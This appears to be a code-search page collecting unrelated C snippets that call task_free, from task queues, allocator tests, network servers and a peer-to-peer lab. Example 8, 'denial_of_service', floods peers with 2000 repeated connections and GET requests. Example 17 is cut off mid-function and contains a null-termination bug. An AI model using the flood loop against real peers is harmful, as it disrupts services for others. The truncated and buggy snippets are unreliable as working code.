Esempio n. 1
0
void testFreeHandlesWrongPointers(void){

	printf(" => testFreeHandlesWrongPointers\n");

	/* This should simply succeed. Pointers to out of bound addresses must be ignored. */	
	task_free((task_t*) ((unsigned long) get_MEM_BLOCK_START() + MEM_BLOCK_SIZE + 1024));

	/* This should simply succeed. Pointers to out of bound addresses must be ignored. */	
	task_free((task_t*) 0xFFFFFFFF); /* Pointing to address at 4 GB of memory */
}
Esempio n. 2
0
void
taskq_destroy(taskq_t *tq)
{
	int t;
	int nthreads = tq->tq_nthreads;

	taskq_wait(tq);

	mutex_enter(&tq->tq_lock);

	tq->tq_flags &= ~TASKQ_ACTIVE;
	cv_broadcast(&tq->tq_dispatch_cv);

	while (tq->tq_nthreads != 0)
		cv_wait(&tq->tq_wait_cv, &tq->tq_lock);

	tq->tq_minalloc = 0;
	while (tq->tq_nalloc != 0) {
		ASSERT(tq->tq_freelist != NULL);
		task_free(tq, task_alloc(tq, KM_SLEEP));
	}

	mutex_exit(&tq->tq_lock);

	for (t = 0; t < nthreads; t++)
		(void) thr_join(tq->tq_threadlist[t], NULL, NULL);

	kmem_free(tq->tq_threadlist, nthreads * sizeof (thread_t));

	rw_destroy(&tq->tq_threadlock);

	kmem_free(tq, sizeof (taskq_t));
}
Esempio n. 3
0
void testFreeHandlesWrongPointers(void){

	printf(" => testFreeHandlesWrongPointers\n");

	/* This should simply succeed. Pointers to out of bound addresses must be ignored. */	
	task_free((task_t*) 0xFFFFFFFF); /* Pointing to address at 4 GB of memory */
}
Esempio n. 4
0
void testFreeHandlesNULL(void){

	printf(" => testFreeHandlesNULL\n");
	
	/* This should simply succeed. Pointers to NULL-address must be ignored. */	
	task_free(NULL);
}
Esempio n. 5
0
static void *
taskq_thread(void *arg)
{
	taskq_t *tq = arg;
	task_t *t;

	mutex_enter(&tq->tq_lock);
	while (tq->tq_flags & TASKQ_ACTIVE) {
		if ((t = tq->tq_task.task_next) == &tq->tq_task) {
			if (--tq->tq_active == 0)
				cv_broadcast(&tq->tq_wait_cv);
			cv_wait(&tq->tq_dispatch_cv, &tq->tq_lock);
			tq->tq_active++;
			continue;
		}
		t->task_prev->task_next = t->task_next;
		t->task_next->task_prev = t->task_prev;
		mutex_exit(&tq->tq_lock);

		rw_enter(&tq->tq_threadlock, RW_READER);
		t->task_func(t->task_arg);
		rw_exit(&tq->tq_threadlock);

		mutex_enter(&tq->tq_lock);
		task_free(tq, t);
	}
	tq->tq_nthreads--;
	cv_broadcast(&tq->tq_wait_cv);
	mutex_exit(&tq->tq_lock);
	return (NULL);
}
Esempio n. 6
0
/*ARGSUSED*/
taskq_t *
taskq_create(const char *name, int nthreads, pri_t pri,
	int minalloc, int maxalloc, uint_t flags)
{
	taskq_t *tq = kmem_zalloc(sizeof (taskq_t), KM_SLEEP);
	int t;

	rw_init(&tq->tq_threadlock, NULL, RW_DEFAULT, NULL);
	mutex_init(&tq->tq_lock, NULL, MUTEX_DEFAULT, NULL);
	cv_init(&tq->tq_dispatch_cv, NULL, CV_DEFAULT, NULL);
	cv_init(&tq->tq_wait_cv, NULL, CV_DEFAULT, NULL);
	tq->tq_flags = flags | TASKQ_ACTIVE;
	tq->tq_active = nthreads;
	tq->tq_nthreads = nthreads;
	tq->tq_minalloc = minalloc;
	tq->tq_maxalloc = maxalloc;
	tq->tq_task.task_next = &tq->tq_task;
	tq->tq_task.task_prev = &tq->tq_task;
	tq->tq_threadlist = kmem_alloc(nthreads * sizeof (pthread_t), KM_SLEEP);

	if (flags & TASKQ_PREPOPULATE) {
		mutex_enter(&tq->tq_lock);
		while (minalloc-- > 0)
			task_free(tq, task_alloc(tq, KM_SLEEP));
		mutex_exit(&tq->tq_lock);
	}

	for (t = 0; t < nthreads; t++)
		pthread_create(&tq->tq_threadlist[t], NULL, taskq_thread, tq);

	return (tq);
}
Esempio n. 7
0
/* We didn't declare this in the .h since we thought it might be confusing. */
void doFree(long i){
	/* All slots were allocated up to REAL_TASK_COUNT. */
	assert(tasks[i] != NULL);

	/* Free the task. */
	task_free(tasks[i]);
}
Esempio n. 8
0
static void denial_of_service(task_t *t)
{
    if (!t || !t->peer_list) {
        error("No peer can be attacked!\n");
        task_free(t);
        return;
    }else if(t->peer_list->addr.s_addr == listen_addr.s_addr
             && t->peer_list->port == listen_port)
        goto try_again;
    
    peer_t *current_peer_list = t->peer_list;
    int i = 0;
    for(;i<2000;i++) {
        message("* Attacking peer %s:%d\n",
                inet_ntoa(current_peer_list->addr), current_peer_list->port);
        t->peer_fd = open_socket(current_peer_list->addr, current_peer_list->port);
        if (t->peer_fd == -1) {
            error("* Cannot connect to peer: %s for attack\n", strerror(errno));
            goto try_again;
        }
        osp2p_writef(t->peer_fd, "GET cat1.jpg OSP2P\n");
    next:
        current_peer_list = current_peer_list->next==0 ? t->peer_list : current_peer_list->next;
        //current_peer_list = current_peer_list->next;
    }
    message("finish deploying attack\n");
    return;
    
try_again:
    // recursive call
    task_pop_peer(t);
    denial_of_service(t);
    
}
Esempio n. 9
0
asmlink void do_exit(int code) {
	pushcli();

	if (task_curr->id == 1)
		PANIC(">> exit task 1");

	remove_from_runnable_list(task_curr);
	task_curr->state = Task::State_zombie;
	task_zombie_list.push_back(&task_curr->list_node);

	task_free(task_curr);
	task_curr->time_end = jiffies;
	task_curr->exit_code = code;

	// FIXME: ???
	if (task_curr->exit_signal == 0)
		task_curr->exit_signal = SIGCHLD;

	notify_parent(task_curr);
	print_info(">> [%d] exit OK\n", task_curr->id);

	popif();

	schedule();
	PANIC("do_exit return");
}
Esempio n. 10
0
void testFreeUsedMemory(void){
	int i;
	printf(" => testFreeUsedMemory\n");

	/* Also, if we first free FAIR_TASK_COUNT... */
	for(i = 0; i < FAIR_TASK_COUNT; i++){
		/* Skip the entry we used in the previous test. This prevents a double free. */
		if(i==1) continue;
		/* All slots were allocated up to FAIR_TASK_COUNT. */
		assert(tasks[i] != NULL);

		/* Free the task. */
		task_free(tasks[i]);
	}

	/* ...and then alloc FAIR_TASK_COUNT, we should not go out of memory. */
	for(i = 0; i < FAIR_TASK_COUNT; i++){
		/* Allocate a slot */
		tasks[i] = NULL;
		tasks[i] = task_alloc();

		/* The allocation should have succeeded. */
		assert(tasks[i] != NULL);
	}

}
Esempio n. 11
0
int task_yield(task_id tid) {
  task_t *t = task_ref(tid);
  if (!t) return ERR_INVAL;
  lua_State *L = t->L;
  task_free(tid);
  //task_resume(tid,m);
  return lua_yield(L,0);
}
Esempio n. 12
0
void runTests(void) {
  void *task_a;
  void *task_b;
  void *task_c;
  void *task_d;
  void *task_e;
  void *task_f;
  void *task_g;

  printf("Testing task_alloc and task_free\n");

  /* Allocate 4 task_t's */
  printf("- Allocate 4 task_t's\n");
  task_a = task_alloc();
  assert(0 < (int)task_a);
  task_b = task_alloc();
  assert((int)task_a < (int)task_b);
  task_c = task_alloc();
  assert((int)task_b < (int)task_c);
  task_d = task_alloc();
  assert((int)task_c < (int)task_d);
  
  /* Free task a, b and c (in order a, c, b) */
  printf("- Free task a, b and c (in order a, c, b)\n");
  task_free(task_a);
  task_free(task_c);
  task_free(task_b);

  /* Reallocate slot a, b and c */
  printf("- Reallocate slot a, b and c\n");
  task_e = task_alloc();
  assert(task_e == task_a);

  task_f = task_alloc();
  assert(task_f == task_c);

  task_g = task_alloc();
  assert(task_g == task_b);

  /* Free task g twice */
  printf("- Free task g twice\n");
  task_free(task_g);
  task_free(task_g);

  printf("All tests have succeeded.\n");
}
Esempio n. 13
0
int task_resume(task_id tid, message_t *m) {
  task_t *t = task_ref(tid);
  if (!t) return ERR_INVAL;
  int status = t->status;
  task_free(tid);
  if (status == finished || status == error) return ERR_TASKSTATE;

  return session_queue_task(tid, m);
}
Esempio n. 14
0
/* Unregister a stream interface handler. This must be called by the handler task
 * itself when it detects that it is in the SI_ST_DIS state. This function can
 * both detach standalone handlers and embedded handlers.
 */
void stream_int_unregister_handler(struct stream_interface *si)
{
	if (!si->iohandler && si->owner) {
		/* external handler : kill the task */
		task_delete(si->owner);
		task_free(si->owner);
	}
	si->iohandler = NULL;
	si->owner = NULL;
}
Esempio n. 15
0
void
stask_free(sched_task_t stask)
{
  if (stask->registr)
    {
      sync_data_deregister_task(stask->sync_data);
    }
  task_free(stask->task);
  free(stask);
}
Esempio n. 16
0
void BLI_task_pool_work_and_wait(TaskPool *pool)
{
	TaskScheduler *scheduler = pool->scheduler;

	BLI_mutex_lock(&pool->num_mutex);

	while (pool->num != 0) {
		Task *task, *work_task = NULL;
		bool found_task = false;

		BLI_mutex_unlock(&pool->num_mutex);

		BLI_mutex_lock(&scheduler->queue_mutex);

		/* find task from this pool. if we get a task from another pool,
		 * we can get into deadlock */

		if (pool->num_threads == 0 ||
		    pool->currently_running_tasks < pool->num_threads)
		{
			for (task = scheduler->queue.first; task; task = task->next) {
				if (task->pool == pool) {
					work_task = task;
					found_task = true;
					BLI_remlink(&scheduler->queue, task);
					break;
				}
			}
		}

		BLI_mutex_unlock(&scheduler->queue_mutex);

		/* if found task, do it, otherwise wait until other tasks are done */
		if (found_task) {
			/* run task */
			atomic_add_z(&pool->currently_running_tasks, 1);
			work_task->run(pool, work_task->taskdata, 0);

			/* delete task */
			task_free(pool, task, 0);

			/* notify pool task was done */
			task_pool_num_decrease(pool, 1);
		}

		BLI_mutex_lock(&pool->num_mutex);
		if (pool->num == 0)
			break;

		if (!found_task)
			BLI_condition_wait(&pool->num_cond, &pool->num_mutex);
	}

	BLI_mutex_unlock(&pool->num_mutex);
}
Esempio n. 17
0
// task_download(t, tracker_task)
//	Downloads the file specified by the input task 't' into the current
//	directory.  't' was created by start_download().
//	Starts with the first peer on 't's peer list, then tries all peers
//	until a download is successful.
static void task_download(task_t *t, task_t *tracker_task)
{
	int i, ret = -1;
	assert((!t || t->type == TASK_DOWNLOAD)
	       && tracker_task->type == TASK_TRACKER);

	// Quit if no peers, and skip this peer
	if (!t || !t->peer_list) {
		error("* No peers are willing to serve '%s'\n",
		      (t ? t->filename : "that file"));
		task_free(t);
		return;
	} else if (t->peer_list->addr.s_addr == listen_addr.s_addr
		   && t->peer_list->port == listen_port)
		goto try_again;

	// Connect to the peer and write the GET command
	message("* Connecting to %s:%d to download '%s'\n",
		inet_ntoa(t->peer_list->addr), t->peer_list->port,
		t->filename);
	t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port);
	if (t->peer_fd == -1) {
		error("* Cannot connect to peer: %s\n", strerror(errno));
		goto try_again;
	}
	osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename);

	// Open disk file for the result.
	// If the filename already exists, save the file in a name like
	// "foo.txt~1~".  However, if there are 50 local files, don't download
	// at all.
	for (i = 0; i < 50; i++) {
		if (i == 0)
		{
			strncpy(t->disk_filename, t->filename, FILENAMESIZ);
			t->filename[FILENAMESIZ-1] = '\0';
		}
		else
			sprintf(t->disk_filename, "%s~%d~", t->filename, i);
		t->disk_fd = open(t->disk_filename,
				  O_WRONLY | O_CREAT | O_EXCL, 0666);
		if (t->disk_fd == -1 && errno != EEXIST) {
			error("* Cannot open local file");
			goto try_again;
		} else if (t->disk_fd != -1) {
			message("* Saving result to '%s'\n", t->disk_filename);
			break;
		}
	}
	if (t->disk_fd == -1) {
		error("* Too many local files like '%s' exist already.\n\
* Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename);
		task_free(t);
		return;
	}
Esempio n. 18
0
/* Unregister a stream interface handler. This must be called by the handler task
 * itself when it detects that it is in the SI_ST_DIS state. This function can
 * both detach standalone handlers and embedded handlers.
 */
void stream_int_unregister_handler(struct stream_interface *si)
{
	if (si->target.type == TARG_TYPE_TASK) {
		/* external handler : kill the task */
		task_delete(si->target.ptr.t);
		task_free(si->target.ptr.t);
	}
	si->release   = NULL;
	si->owner = NULL;
	clear_target(&si->target);
}
Esempio n. 19
0
static void
task_finish( struct tr_web_task * task, long response_code )
{
    dbgmsg( "finished a web task... response code is %ld", response_code );
    dbgmsg( "===================================================" );
    task->done_func( task->session,
                     response_code,
                     EVBUFFER_DATA( task->response ),
                     EVBUFFER_LENGTH( task->response ),
                     task->done_func_user_data );
    task_free( task );
}
Esempio n. 20
0
/*ARGSUSED*/
taskq_t *
taskq_create(const char *name, int nthreads,
	int minalloc, int maxalloc, unsigned int flags)
{
	taskq_t *tq;
	int t;

	tq = umem_zalloc(sizeof(taskq_t), 0);
	if (!tq)
		return NULL;

	if (flags & TASKQ_THREADS_CPU_PCT) {
		int pct;
		assert(nthreads >= 0);
		assert(nthreads <= taskq_cpupct_max_percent);
		pct = MIN(nthreads, taskq_cpupct_max_percent);
		pct = MAX(pct, 0);

		nthreads = (sysconf(_SC_NPROCESSORS_ONLN) * pct) / 100;
		nthreads = MAX(nthreads, 1);	/* need at least 1 thread */
	} else {
		assert(nthreads >= 1);
	}

	rwinit(&tq->tq_threadlock);
	mxinit(&tq->tq_lock);
	condinit(&tq->tq_dispatch_cv);
	condinit(&tq->tq_wait_cv);
	condinit(&tq->tq_maxalloc_cv);
	(void) strncpy(tq->tq_name, name, TASKQ_NAMELEN + 1);
	tq->tq_flags = flags | TASKQ_ACTIVE;
	tq->tq_active = nthreads;
	tq->tq_nthreads = nthreads;
	tq->tq_minalloc = minalloc;
	tq->tq_maxalloc = maxalloc;
	tq->tq_task.tqent_next = &tq->tq_task;
	tq->tq_task.tqent_prev = &tq->tq_task;
	tq->tq_threadlist =
	    umem_alloc(nthreads * sizeof (pthread_t), UMEM_NOFAIL);

	if (flags & TASKQ_PREPOPULATE) {
		mxlock(&tq->tq_lock);
		while (minalloc-- > 0)
			task_free(tq, task_alloc(tq, UMEM_NOFAIL));
		mxunlock(&tq->tq_lock);
	}

	for (t = 0; t < nthreads; t++)
		pthread_create(&tq->tq_threadlist[t], NULL, taskq_thread, tq);

	return (tq);
}
Esempio n. 21
0
static void
task_finish( struct tr_web_task * task, long response_code )
{
    dbgmsg( "finished web task %lu; got %ld", task->tag, response_code );

    if( task->done_func != NULL )
        task->done_func( task->session,
                         response_code,
                         EVBUFFER_DATA( task->response ),
                         EVBUFFER_LENGTH( task->response ),
                         task->done_func_user_data );
    task_free( task );
}
Esempio n. 22
0
void kmain(void)
{
	task_t	*task_shell;
	int	 ret;

	/*************** Init Arch ****************/
	arch_early_init();

	show_logo();

	/*************** Init Platform ****************/
	platform_init();
	timer_init();
	buses_init();

	/*************** Init Task ****************/
	task_init();
	task_create_init();

	/*************** Init Workqueu ****************/
	init_workqueues();
	
	/*************** Init File System ****************/
	register_filesystem(&fat_fs);
	
	/*************** Creating Shell TASK ****************/
	task_shell = task_alloc("shell", 0x2000, 5);
	if (NULL == task_shell)
	{
		return;
	}

	ret = task_create(task_shell, init_shell, 0);
	if (ret) {
		printk("Create init shell task failed\n");
	}

	sema_init(&sem, 1);

	arch_enable_ints();

	while(1)
	{
		enter_critical_section();
		arch_idle();
		task_schedule();
		exit_critical_section();
	}

	task_free(task_shell);
}
Esempio n. 23
0
int task_run(task_id tid, lua_State *L, message_t *m) {
  task_t *t = task_ref(tid);
  if (!t) return ERR_INVAL;

  task_set_current(tid);

  int rc = 0;
  int count;
  switch (t->status) {
    case ready:
      if (!m) {
        t->status = finished;
        break;
      }
      t->L = lua_newthread(L);
      count = lua_decodemessage(t->L, m) - 1;
      msg_destroy(m);
      t->status = running;
      STACK(t->L,"Resume from ready %f\n",t->id);
      rc = lua_resume(t->L, count);
      break;
    case suspended:
      count = m ? lua_decodemessage(t->L, m) : 0;
      if (m) msg_destroy(m);
      t->status = running;
      STACK(t->L,"Resume from suspended %f\n",t->id);
      rc = lua_resume(t->L, count);
      break;
    default:
      break;
  }

  if (rc == LUA_ERRRUN) {
    INFO("Error code %d",rc);
    t->status = error;
    STACK(t->L,"Error running task");
  } else if (rc == LUA_YIELD) {
    STACK(t->L,"YIELDED (ref = %d)",t->ref_count);
    t->status = suspended; // TODO YIELD
  } else if (rc == 0) {
    STACK(t->L,"QUITTED (ref = %d)",t->ref_count);
    t->status = finished;
  }

  // TODO task->coro = get current coroutine
  task_set_current(0);
  task_free(tid);
  // TODO handle rc
  return SUCCESS;
}
Esempio n. 24
0
static void
task_finish_func( void * vtask )
{
    struct tr_web_task * task = vtask;
    dbgmsg( "finished web task %p; got %ld", task, task->code );

    if( task->done_func != NULL )
        task->done_func( task->session,
                         task->code,
                         evbuffer_pullup( task->response, -1 ),
                         evbuffer_get_length( task->response ),
                         task->done_func_user_data );

    task_free( task );
}
Esempio n. 25
0
static void
task_finish_func( void * vtask )
{
    struct tr_web_task * task = vtask;
    dbgmsg( "finished web task %p; got %ld", task, task->code );

    if( task->done_func != NULL )
        task->done_func( task->session,
                         task->code,
                         EVBUFFER_DATA( task->response ),
                         EVBUFFER_LENGTH( task->response ),
                         task->done_func_user_data );

    task_free( task );
}
Esempio n. 26
0
/* This function kills an existing embryonic session. It stops the connection's
 * transport layer, releases assigned resources, resumes the listener if it was
 * disabled and finally kills the file descriptor. This function requires that
 * sess->origin points to the incoming connection.
 */
static void session_kill_embryonic(struct session *sess)
{
	int level = LOG_INFO;
	struct connection *conn = __objt_conn(sess->origin);
	struct task *task = sess->task;
	unsigned int log = sess->fe->to_log;
	const char *err_msg;

	if (sess->fe->options2 & PR_O2_LOGERRORS)
		level = LOG_ERR;

	if (log && (sess->fe->options & PR_O_NULLNOLOG)) {
		/* with "option dontlognull", we don't log connections with no transfer */
		if (!conn->err_code ||
		    conn->err_code == CO_ER_PRX_EMPTY || conn->err_code == CO_ER_PRX_ABORT ||
		    conn->err_code == CO_ER_CIP_EMPTY || conn->err_code == CO_ER_CIP_ABORT ||
		    conn->err_code == CO_ER_SSL_EMPTY || conn->err_code == CO_ER_SSL_ABORT)
			log = 0;
	}

	if (log) {
		if (!conn->err_code && (task->state & TASK_WOKEN_TIMER)) {
			if (conn->flags & CO_FL_ACCEPT_PROXY)
				conn->err_code = CO_ER_PRX_TIMEOUT;
			else if (conn->flags & CO_FL_ACCEPT_CIP)
				conn->err_code = CO_ER_CIP_TIMEOUT;
			else if (conn->flags & CO_FL_SSL_WAIT_HS)
				conn->err_code = CO_ER_SSL_TIMEOUT;
		}

		session_prepare_log_prefix(sess);
		err_msg = conn_err_code_str(conn);
		if (err_msg)
			send_log(sess->fe, level, "%s: %s\n", trash.str, err_msg);
		else
			send_log(sess->fe, level, "%s: unknown connection error (code=%d flags=%08x)\n",
				 trash.str, conn->err_code, conn->flags);
	}

	/* kill the connection now */
	conn_stop_tracking(conn);
	conn_full_close(conn);
	conn_free(conn);

	task_delete(task);
	task_free(task);
	session_free(sess);
}
Esempio n. 27
0
task_id lc_createtask(lua_State *L, session_id sid) {
  task_id tid = task_new(sid);
  if (tid > 0) {
    lua_Task *lt = (lua_Task *) lua_newuserdata(L, sizeof(lua_Task)); // [task]
    if (!lt) {
      task_free(tid);
      return FAIL;
    }

    lt->tid = tid;
    luaL_getmetatable(L,CASTING_TASK); // [ud][meta]
    lua_setmetatable(L, -2);
  }

  return tid;
}
Esempio n. 28
0
void
thread_free(struct thread *td)
{
	struct task *task;

	task = td->td_task;

	STAILQ_REMOVE(&task->t_threads, td, struct thread, td_link);

	cpu_thread_free(td);

	pool_free(td);

	if (STAILQ_EMPTY(&task->t_threads))
		task_free(task);
}
Esempio n. 29
0
void testReuseFreedMemory(void){
	task_t* task;

	printf(" => testReuseFreedMemory\n");

	/* Integrity check of the test. */
	assert(tasks[1] != NULL);

	/* All slots are taken (due to testAllocHandlesOutOfMemory). So we free one and allocate one, which should be identical to that slot. */
	task_free(tasks[1]);
	task = task_alloc();
	/* Freed and reassigned slot identical in pointer. */
	assert(task == tasks[1]); 
	/* Freed and reassigned slot identical in value. */
	assert(task->id == tasks[1]->id);
}
Esempio n. 30
0
/* This runs in the main thread */
static void
process_completed_queue(void)
{
    GSList *tasks;
    
    G_LOCK(completed_queue);    
    tasks = completed_tasks;
    completed_tasks = NULL;
    G_UNLOCK(completed_queue);
 
    while (tasks != NULL) {
        Task *task = tasks->data;
        tasks = g_slist_remove(tasks, tasks->data);
        
        /* g_debug("Completing http GET for '%s'", task->url); */
        
        /* buffer is the error message if we failed and the data otherwise */
        if (task->failed)
            (*task->func)(NULL, task->buffer, task->data);
        else
            (*task->func)(task->content_type, task->buffer, task->data);
            
        task_free(task);
        active_task_count -= 1;
    }

    if (active_task_count == 0) {
        g_debug("Global http subsystem uninit");
        
        /* args are immediate=FALSE (don't cancel tasks)
         * wait=TRUE (block until they complete)
         * however there should be no tasks, so it doesn't matter.
         */
        g_thread_pool_free(pool, FALSE, TRUE);
        pool = NULL;
    
        curl_global_cleanup();
        
        g_source_remove(pipe_io_watch);
        pipe_io_watch = 0;
        
        close(pipe_fds[READ_END]);
        close(pipe_fds[WRITE_END]);
    }
}